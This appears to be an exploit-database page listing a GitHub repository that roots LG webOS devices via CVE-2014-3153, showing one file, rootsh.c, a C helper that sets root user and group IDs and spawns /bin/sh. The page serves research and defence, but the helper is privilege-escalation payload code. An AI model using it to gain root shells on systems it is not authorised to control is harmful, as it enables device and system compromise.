Exploit databaseDownload repository ZIP
GH-6f82ea1d4f14fa148f5a546456a93ffe
lastowl/lg-webos2-root
Sources for CVE-2014-3153
25 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
lastowl/lg-webos2-rootRevision d9b132b8dc39
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/rootsh.c
C · 184 bytes#include <unistd.h>
int main(int argc, char **argv) {
setuid(0); setgid(0);
seteuid(0); setegid(0);
argv[0] = "/bin/sh";
execve("/bin/sh", argv, NULL);
return 1;
}